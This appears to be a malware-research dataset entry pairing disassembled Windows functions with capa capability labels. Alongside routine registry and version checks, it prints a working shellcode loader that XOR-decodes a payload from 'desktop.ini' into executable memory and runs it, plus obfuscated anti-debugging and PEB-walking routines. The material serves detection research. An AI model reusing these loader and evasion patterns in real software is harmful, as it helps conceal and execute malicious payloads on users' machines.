joyce8/EMBER2024-capa huggingface dataset:
Function at 0x47d222
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x47d25a
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0047b2d6
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0047b2ae
jmp 0x47d266
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x47e914
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x47e956
call fcn.00484a42
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x47e956
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x47e94d
xor eax, eax
jmp 0x47e95e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0047e964
pop edi
pop esi
pop ebx
ret 4

Function at 0x484f72
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x484fa0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x484fbe
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00484ed8
jmp 0x484fbe
mov eax, dword [esi + 0x14]
test eax, eax
je 0x484fbe
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00484ed8
test edi, edi
mov eax, edi
jne 0x484fa8
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x86a17f
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x86a1e2
mov dword [esp + 4], ecx
push bp
jmp 0x86a1ff
push edi
mov dword [esp], eax
push ebp
call fcn.0086a1b9
push word [esp + 3]
jp 0x86a1cc
mov dword [esp + 4], ecx
push bp
jmp 0x86a230
lea esp, [esp + 1]
lea esp, [esp]
lea esp, [esp + 1]
mov dword [esp], edx
push si
jmp 0x86a714
lea esp, [esp + 1]
lea esp, [esp]
lea esp, [esp + 1]
call fcn.0086a21a
xor cl, byte [ecx - 0x729fdbd4]
mov dword [esp], ebp
pushal
invalid
mov dh, 0xca
invalid
lea esp, [esp + 2]
push ebx
push esp
call fcn.0086a6b0
mov esi, dword [esp + 0x2c]
call 0x86a729
sub esp, 0x1b
jae 0x86a75a
cmc
mov eax, dword [esp + 0x16]
lea esp, [esp + 3]
jmp 0x86a75d
mov eax, dword [esp + 0x16]
lea esp, [esp + 3]
jmp 0x86a75d
cmc
jmp 0x86a744
lea ebp, [esp + 0x1c]
btr cx, di
jo 0x86a799
lea eax, reloc.kernel32.dll_GetProcAddress
jmp 0x86a7a1
rdtsc
mov edi, 0x254f78cc
jmp 0x86a7af
lea eax, reloc.kernel32.dll_GetProcAddress
jmp 0x86a783
rdtsc
mov edi, 0x254f78cc
jmp 0x86a7af
sub esp, 0xa4
jmp 0x86a87a
mov ecx, esi
adc ebx, 0x573b63d9
jne 0x86a83d
bts bx, ax
jmp 0x86a801
lea ebx, [edx + ebp]
jmp 0x86a7d0
inc eax
jmp 0x86a847
neg ax
dec ebx
cmc
jmp 0x86a7eb
rol esi, 0
push ebp
bsr dx, cx
jb 0x86a820
lea ebx, reloc.kernel32.dll_GetProcAddress
jmp 0x86a974
jmp 0x86a808
lea ebx, reloc.kernel32.dll_GetProcAddress
jmp 0x86a856
bts bx, ax
neg ax
dec ebx
cmc
inc eax
lea edx, [ecx*4]
mov eax, ebx
neg al
js 0x86a81e
jns 0x86a81e
dec bl
push dword [esp]
mov ax, word [esp + 2]
push word [esp + 3]
lea esp, [esp + 2]
jmp 0x86a8fb
mov edi, esp
clc
jg 0x86a7e6
lea ebx, [edx + ebp]
jmp 0x86a7d0
neg ax
mov eax, 0x525fa79
mov dh, byte [esp]
jmp 0x86a8cd
neg ax
mov eax, 0x525fa79
mov dh, byte [esp]
not dx
mov ax, bx
lea eax, reloc.kernel32.dll_GetProcAddress
mov edx, 0x925f4d64
mov ax, 0x30bd
call fcn.0086a91b
ljmp 0xf6cc
not dx
mov ax, bx
jmp 0x86a8b2
lea esp, [esp + 8]
dec esi
stc
jbe 0x86a8a1
ja 0x86a88b
xchg dword [esp], eax
rcr dh, 1
mov ebx, dword [esp]
xchg bl, dl
sets dh
lea eax, [eax + 0xf]
jmp 0x86a948
push word [esp + 3]
jmp 0x86a865
btc dx, si
mov ebx, esp
setno dh
mov dh, byte [esp]
lea edx, [esi*4]
xchg dword [esp], eax
jmp 0x86a996
dec bl
push dword [esp]
mov ax, word [esp + 2]
jmp 0x86a93e
sub esp, 0x16
add esp, 0x12
add esp, 3
inc bx
lea esp, [esp + 1]
push dword [esp]
ret 4

Function at 0x86a1b9
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov word [esp], si
pop dword [esp]
pop word [esp]
call 0x86a1ca
pop ebp
jmp 0x86a1ec

Function at 0x86a1ca
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov word [esp], si
pop dword [esp]
pop word [esp]
call 0x86a1ca
pop ebp
jmp 0x86a1ec
Function at 0x86a21a
Capabilities:
Execute anti-debugging instructions

Disassembly:
sub al, byte [ebp - 0x73]
and al, 1
jmp 0x86a257
fild word [esp + ecx*4]
add ah, byte [ebp - 0x6c]
and al, 0x92
sbb dword [ecx - 0x723e418], ecx
fisttp dword [ebp - reloc.kernel32.dll_GetProcAddress]
and al, 0x24
push ebx
mov dword [esp], ebx
xchg dword [esp + 4], esi
call fcn.0086a241
add dl, byte [ebx + 0x20956603]
cwde
adc al, 0x8a
in eax, dx
sbb al, 0xdd
add eax, eax
cmp dword [edx], 0x15
test cl, ch
js 0x86a1fd
rsm
rol dword [edi + ecx + reloc.kernel32.dll_GetProcAddress], 1
push ecx
pushal
xchg byte [edi], cl
mov ebx, 0x270f838b
fmul dword [eax - reloc.kernel32.dll_GetProcAddress]
pcmpgtb mm4, mm3
test dword [edi], ecx
cdq
pop es
xchg dword [edi], ecx
jbe 0x86a221
xchg dword [edi], ecx
mov byte [0xc70f8483], al
mov dword gs:[edi], ecx
dec ebx
xchg byte ss:[edi], cl
adc byte [ecx - 0x76], ch
invalid

Function at 0x86a6d1
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf0859854
jmp 0x86a6f6
mov dword [esp + 4], edi
lea esp, [esp + 4]
jmp 0x86a6f0
mov byte [esp + 2], ah
jmp 0x86a6bb
pushfd
jmp 0x869e50
shr bx, 8
jnp 0x86a740
bswap edi
jmp 0x86a71f
bswap edi
jmp 0x86a71f
Function at 0x86a729
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x86a1e2
mov dword [esp + 4], ecx
push bp
jmp 0x86a1ff
push edi
mov dword [esp], eax
push ebp
call fcn.0086a1b9
push word [esp + 3]
jp 0x86a1cc
mov dword [esp + 4], ecx
push bp
jmp 0x86a230
lea esp, [esp + 1]
lea esp, [esp]
lea esp, [esp + 1]
mov dword [esp], edx
push si
jmp 0x86a714
lea esp, [esp + 1]
lea esp, [esp]
lea esp, [esp + 1]
call fcn.0086a21a
xor cl, byte [ecx - 0x729fdbd4]
mov dword [esp], ebp
pushal
invalid
mov dh, 0xca
invalid
lea esp, [esp + 2]
push ebx
push esp
call fcn.0086a6b0
mov esi, dword [esp + 0x2c]
call 0x86a729
sub esp, 0x1b
jae 0x86a75a
cmc
mov eax, dword [esp + 0x16]
lea esp, [esp + 3]
jmp 0x86a75d
mov eax, dword [esp + 0x16]
lea esp, [esp + 3]
jmp 0x86a75d
cmc
jmp 0x86a744
lea ebp, [esp + 0x1c]
btr cx, di
jo 0x86a799
lea eax, reloc.kernel32.dll_GetProcAddress
jmp 0x86a7a1
rdtsc
mov edi, 0x254f78cc
jmp 0x86a7af
lea eax, reloc.kernel32.dll_GetProcAddress
jmp 0x86a783
rdtsc
mov edi, 0x254f78cc
jmp 0x86a7af
sub esp, 0xa4
jmp 0x86a87a
mov ecx, esi
adc ebx, 0x573b63d9
jne 0x86a83d
bts bx, ax
jmp 0x86a801
lea ebx, [edx + ebp]
jmp 0x86a7d0
inc eax
jmp 0x86a847
neg ax
dec ebx
cmc
jmp 0x86a7eb
rol esi, 0
push ebp
bsr dx, cx
jb 0x86a820
lea ebx, reloc.kernel32.dll_GetProcAddress
jmp 0x86a974
jmp 0x86a808
lea ebx, reloc.kernel32.dll_GetProcAddress
jmp 0x86a856
bts bx, ax
neg ax
dec ebx
cmc
inc eax
lea edx, [ecx*4]
mov eax, ebx
neg al
js 0x86a81e
jns 0x86a81e
dec bl
push dword [esp]
mov ax, word [esp + 2]
push word [esp + 3]
lea esp, [esp + 2]
jmp 0x86a8fb
mov edi, esp
clc
jg 0x86a7e6
lea ebx, [edx + ebp]
jmp 0x86a7d0
neg ax
mov eax, 0x525fa79
mov dh, byte [esp]
jmp 0x86a8cd
neg ax
mov eax, 0x525fa79
mov dh, byte [esp]
not dx
mov ax, bx
lea eax, reloc.kernel32.dll_GetProcAddress
mov edx, 0x925f4d64
mov ax, 0x30bd
call fcn.0086a91b
ljmp 0xf6cc
not dx
mov ax, bx
jmp 0x86a8b2
lea esp, [esp + 8]
dec esi
stc
jbe 0x86a8a1
ja 0x86a88b
xchg dword [esp], eax
rcr dh, 1
mov ebx, dword [esp]
xchg bl, dl
sets dh
lea eax, [eax + 0xf]
jmp 0x86a948
push word [esp + 3]
jmp 0x86a865
btc dx, si
mov ebx, esp
setno dh
mov dh, byte [esp]
lea edx, [esi*4]
xchg dword [esp], eax
jmp 0x86a996
dec bl
push dword [esp]
mov ax, word [esp + 2]
jmp 0x86a93e
sub esp, 0x16
add esp, 0x12
add esp, 3
inc bx
lea esp, [esp + 1]
push dword [esp]
ret 4

Function at 0x86b132
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x86b184
sub ebp, 4
mov eax, 0x991f1c61

Function at 0x86b1d1
Capabilities:
Execute anti-debugging instructions

Disassembly:
not dx
btc edx, esp
jmp 0x86b1dd
je 0x86b1b3
jne 0x86b1b3
Function at 0x903c75
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x903cba
mov edi, ebp
mov ebx, dword [esp + 2]
lea esp, [esp + 2]
mov byte [esp], al
mov ax, 0x238e
sub dx, si
jmp 0x903ca4
mov ebx, dword [esp]
xchg dl, ch
mov bx, word [esp]
setg dh
stc
jmp 0x903d06
mov ebx, dword [esp + 2]
xchg dh, al
clc
rdtsc
add esp, 1
rdtsc
jmp 0x903c77
setp cl
mov edi, ebx
rdtsc
xchg word [esp], bp
bts bp, ax
xchg cx, ax
jmp 0x903d18
bts ax, di
cpuid
setne cl
cld
lea ebp, [esp - 0x3f]
not cl
jmp 0x903cdd
push word [esp]
mov ebp, dword [esp + 3]
mov dh, dl
mov bh, 4
xchg word [esp], ax
xchg cl, ah
jmp 0x903d6d
lea ecx, [ecx + edx]
std
mov ah, 0xe
mov bl, 0xda
lea ecx, [ecx*4]
mov cx, word [esp + 0xe]
jmp 0x903d97
shl ebp, 0x1f
pop word [esp]
sub esp, 0xe
rdtsc
mov si, word [esp + 6]
xchg edi, eax
jmp 0x903d53
sub esp, 0x17
popal
mov eax, edx
rdtsc
mov dx, word [esp + 2]
jmp 0x903f3d
sbb si, 0xc06e
mov ch, ah
rdtsc
cmc
xchg word [esp + 2], di
sub esp, 0x15
jmp 0x903d81
mov di, bp
stc
mov di, word [esp + 0xc]
call fcn.00903efb
daa
mov ebp, 0x72c7342d
or al, 0x9f
pop dword [esp + 4]
mov word [esp + 8], dx
cpuid
xchg dword [esp + 5], esi
xchg cl, ch
push ebx
jmp 0x903dbf
pop cx
mov bh, 0xc2
mov ch, byte [esp + 8]
xchg si, bx
lea edi, [edx + ebp]
xchg byte [esp + 0x12], cl
jmp 0x903dd5
mov dx, word [esp + 0x1a]
pop dword [esp + 0xe]
mov dx, di
xchg word [esp + 0x15], bx
rcl ecx, 5
rdtsc
jmp 0x903df8

Function at 0x90450c
Capabilities:
Execute anti-debugging instructions

Disassembly:
rdtsc
sub esp, 7
xchg ah, al
sub esp, 0
rcl ax, 1
jmp 0x90452f
jmp 0x9044f6
xchg byte [esp + 5], dl
xchg si, ax
neg bx

Function at 0x904611
Capabilities:
Execute anti-debugging instructions

Disassembly:
bt bp, ax
mov ch, 0x5e
btr dx, si
xchg word [esp + 0xc], bp
lea ecx, reloc.kernel32.dll_GetProcAddress
jmp 0x9045e1

Function at 0x904636
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov word [esp + 0xb], si
lea esi, [edx + 0xa5]
mov dx, 0xde97
xchg dword [esp + 6], ecx
mov byte [esp + 0xc], ch
jmp 0x9041cb

Function at 0x906a07
Capabilities:
Parse pe header

Disassembly:
call fcn.00906055
mov dword [esp], ebp
jmp 0x906a10
lea esp, [esp + 1]
mov word [esp], dx
lea esp, [esp + 3]
mov dword [esp + 0x10], edi
jmp 0x906a40
lea esp, [esp + 0x10]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
jmp 0x906a79
mov eax, dword [eax]
jmp 0x906abc
mov eax, dword [eax + 0x1c]
jmp 0x906a63
mov eax, dword [eax + 8]
push eax
jmp 0x906050

Function at 0x906a61
Capabilities:
Access peb ldr_data
Parse pe header

Disassembly:
pop word [esp]
push word [esp]
push dword [esp]
push dword [esp + 4]
mov dword [esp + 0x14], esi
call fcn.00906a07
jmp 0x906a28

Function at 0x906a91
Capabilities:
Parse pe header

Disassembly:
push word [esp + 1]
mov dword [esp], edi
pop word [esp]
mov dword [esp + 0xc], ebp
call fcn.00906a61
Function at 0x100291b
Capabilities:
Get user security identifier

Disassembly:
push 0x14
mov eax, 0x101176d
call fcn.01001730
mov edi, dword [ebp + 0xc]
xor esi, esi
cmp edi, esi
je 0x10054f6
cmp dword [ebp + 8], esi
je 0x1005500
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x1c]
push eax
push esi
push dword [ebp + 8]
mov dword [edi], esi
push esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x1c], esi
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1005536
mov eax, dword [ebp - 0x18]
push 2
xor ecx, ecx
pop edx
mul edx
seto cl
mov dword [ebp - 4], esi
neg ecx
or eax, ecx
push eax
call dword [0x1015428]
or dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
je 0x10029e4
push dword [ebp - 0x1c]
call dword [sym.imp.msvcrt.dll_malloc]
cmp eax, esi
pop ecx
mov dword [edi], eax
je 0x10029dd
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x18]
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1c]
push ecx
push eax
push dword [ebp + 8]
push esi
call dword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
test eax, eax
je 0x100551f
xor ebx, ebx
push dword [ebp - 0x14]
call dword [0x1015424]
mov eax, ebx
call fcn.01001540
ret 8
mov ebx, 0x8007000e
jmp 0x10029ca
mov ebx, 0x8007000e
jmp 0x10029d3
mov eax, 0x80004003
jmp 0x10029d5
mov eax, 0x80070057
jmp 0x10029d5
call fcn.0100379d
push dword [edi]
mov ebx, eax
call dword [sym.imp.msvcrt.dll_free]
pop ecx
mov dword [edi], esi
jmp 0x10029ca
push eax
call fcn.0100a21a
mov ebx, eax
jmp 0x10029d3

Function at 0x1002cdb
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, 0x11c
push esi
lea eax, [ebp - 0x120]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x120]
mov dword [ebp - 0x120], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExW]
push eax
call esi
test eax, eax
je 0x1006a00
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x11c]
xor eax, eax
dec ecx
pop esi
je 0x1002d79
dec ecx
jne 0x1002d6d
cmp edx, 5
je 0x1006a18
cmp edx, 4
jbe 0x1006a53
cmp edx, 6
jne 0x1002d6a
cmp dword [ebp - 0x118], 0
jne 0x1002d6a
cmp dword [ebp - 0x114], 0x1554
jb 0x1006a82
push 0x20
pop eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.010014d9
leave
ret
cmp edx, 4
je 0x1006a5b
jmp 0x1002d6d
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x114
call esi
jmp 0x1002d25
mov ecx, dword [ebp - 0x118]
sub ecx, eax
je 0x1006a4c
dec ecx
je 0x1006a41
dec ecx
je 0x1006a2f
push 0x14
jmp 0x1002d6c
cmp word [ebp - 0xc], 1
jb 0x1006a39
push 0x10
pop eax
or eax, 4
jmp 0x1002d6d
cmp word [ebp - 0xc], 2
jb 0x1006a39
push 8
jmp 0x1006a38
push 4
jmp 0x1002d6c
push 2
pop eax
jmp 0x1002d79
cmp dword [ebp - 0x118], 0
je 0x1006a7a
cmp dword [ebp - 0x118], 0xa
je 0x1006a7a
cmp dword [ebp - 0x118], 0x5a
jne 0x1002d6d
xor eax, eax
inc eax
jmp 0x1002d6d
push 0x40
jmp 0x1002d6c
Function at 0x1003171
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea ecx, [ebp - 0x220]
push ecx
push 0
lea ecx, [ebp - 0x224]
push ecx
push 0
push ebx
push eax
call esi
test eax, eax
jne 0x10031b8
cmp dword [ebp - 0x224], 1
je 0x10030c0
cmp dword [ebp - 0x224], 7
je 0x10030c0
cmp dword [ebp - 0x224], 2
jne 0x10031b8
and dword [ebp - 4], 0
cmp dword [ebp - 0x224], 2
jne 0x10067af
cmp dword [ebp - 0x220], 0x208
jae 0x1006759
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x224]
push eax
push 0
push ebx
push dword [edi + 0x9c]
call esi
mov ecx, dword [ebp - 0x228]
mov esi, 0x104
push esi
mov edi, eax
call fcn.01002c34
push esi
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [eax - 1]
cmp ecx, 0x102
mov dword [ebp - 0x220], eax
ja 0x1006786
add eax, eax
mov dword [ebp - 0x220], eax
test edi, edi
jne 0x10067e4
or dword [ebp - 4], 0xffffffff
shr dword [ebp - 0x220], 1
mov ecx, dword [ebp - 0x228]
je 0x10031b4
mov eax, dword [ebp - 0x220]
dec eax
push eax
call fcn.01003b52
xor eax, eax
inc eax
jmp 0x10031ac
push 0x260
mov eax, 0x1012229
call fcn.01002ad2
mov eax, dword [ebp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [ebp + 8]
push 0
mov edi, ecx
mov dword [ebp - 0x228], eax
call esi
mov eax, dword [edi + 0x9c]
test eax, eax
jne 0x100307d
push 6
call esi
xor eax, eax
call fcn.010031c6
ret 8
push 0
jmp 0x1003162
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10031aa
push 0x80010135
lea ecx, [ebp - 0x23c]
call fcn.0100da9b
mov esi, eax
lea edi, [ebp - 0x24c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x1012c1c
lea eax, [ebp - 0x24c]
push eax
call sub.msvcrt.dll__CxxThrowException
push 0x80010135
lea ecx, [ebp - 0x23c]
call fcn.0100da9b
mov esi, eax
lea edi, [ebp - 0x25c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x1012c1c
lea eax, [ebp - 0x25c]
jmp 0x1006780
mov eax, dword [ebp - 0x220]
mov ecx, dword [ebp - 0x228]
shr eax, 1
push eax
call fcn.01002c34
lea ecx, [ebp - 0x220]
push ecx
push eax
lea eax, [ebp - 0x224]
push eax
push 0
push ebx
push dword [edi + 0x9c]
call esi
mov edi, eax
jmp 0x1003140
jle 0x10067f2
and edi, 0xffff
or edi, 0x80070000
push edi
lea ecx, [ebp - 0x23c]
call fcn.0100da9b
mov esi, eax
lea edi, [ebp - 0x26c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x1012c1c
lea eax, [ebp - 0x26c]
jmp 0x1006780
Function at 0x1003335
Capabilities:
Terminate process

Disassembly:
call fcn.01002b38
push 0x10
push 0x1003440
call fcn.0100469c
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x1015080
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
jne 0x10063b8
xor esi, esi
inc esi
mov eax, dword [0x1015044]
cmp eax, esi
je 0x10063d7
mov eax, dword [0x1015044]
test eax, eax
jne 0x10033fe
mov dword [0x1015044], esi
push 0x100343c
push 0x1003430
call fcn.01003298
pop ecx
pop ecx
test eax, eax
jne 0x10063e4
mov eax, dword [0x1015044]
cmp eax, esi
jne 0x10033c9
push 0x100342c
push 0x1003408
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x1015044], 2
cmp dword [ebp - 0x1c], ebx
jne 0x10033d6
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x1015448], ebx
jne 0x10063f5
push dword [0x10150f4]
push dword [0x10150f8]
push dword [0x10150f0]
call fcn.01003530
jmp 0x1006417
mov dword [0x1015590], esi
jmp 0x10033a5
cmp eax, esi
jne 0x10063c7
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x1003370
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100335c
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x10033a5
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x1006482
push 0x1015448
call fcn.0100d868
pop ecx
test eax, eax
je 0x10033e2
push ebx
push 2
push ebx
call dword [0x1015448]
jmp 0x10033e2
add esp, 0xc
mov dword [0x101558c], eax
cmp dword [0x101502c], ebx
jne 0x1006468
push eax
call dword [sym.imp.msvcrt.dll_exit]
nop
nop
nop
nop
nop
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x1015590], ebx
jne 0x1006476
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x101558c]
call fcn.01003df4
ret
Function at 0x1004540
Capabilities:
Check os version

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x98
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
call fcn.01002a3c
mov eax, 0x1000000
push 0x94
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x98]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x98], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x88], 2
jne 0x10045e2
cmp dword [ebp - 0x94], 5
jb 0x10045b5
mov byte [esi + 0xc], 1
lea ecx, [esi + 0x18]
mov dword [esi + 0x10], 0x800
mov dword [esi + 0x14], 0x10045fc
call fcn.01003da6
test eax, eax
jl 0x10063ac
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.010014d9
leave
ret
cmp dword [ebp - 0x88], 1
je 0x1006394
jmp 0x10045b5
cmp dword [ebp - 0x90], 0
jbe 0x10045b5
jmp 0x10045b1
cmp dword [ebp - 0x94], 4
ja 0x10045b1
je 0x10045f1
jmp 0x10045b5
mov byte [0x1015560], 1
jmp 0x10045d3

Function at 0x100ac15
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
push edi
mov ebx, ecx
jne 0x100ac30
push 0x80004005
call fcn.0100a961
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
lea ecx, [eax + eax]
add esi, ecx
add edi, ecx
cmp eax, 1
jne 0x100ac32
push edi
push dword [ebp + 0xc]
push 7
push 0
push dword [ebp + 8]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x100b313
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x2001f
mov ebx, ecx
push eax
push dword [ebx]
xor esi, esi
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x208], esi
call fcn.0100ab73
mov edi, eax
cmp edi, esi
je 0x100b375
lea ecx, [ebp - 0x208]
call fcn.0100ab00
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.010014d9
leave
ret 4
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x100b393
lea eax, [ebp - 0x204]
push eax
lea ecx, [ebp - 0x208]
call fcn.0100b313
cmp eax, esi
jne 0x100b3db
lea eax, [ebp - 0x218]
push eax
push esi
push esi
push esi
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x204]
push eax
push esi
push dword [ebp - 0x208]
mov dword [ebp - 0x20c], 0x100
call edi
test eax, eax
je 0x100b37d
lea ecx, [ebp - 0x208]
call fcn.0100ab00
push dword [ebp - 0x210]
push dword [ebx]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
lea ecx, [ebp - 0x208]
mov esi, eax
call fcn.0100ab00
mov eax, esi
jmp 0x100b364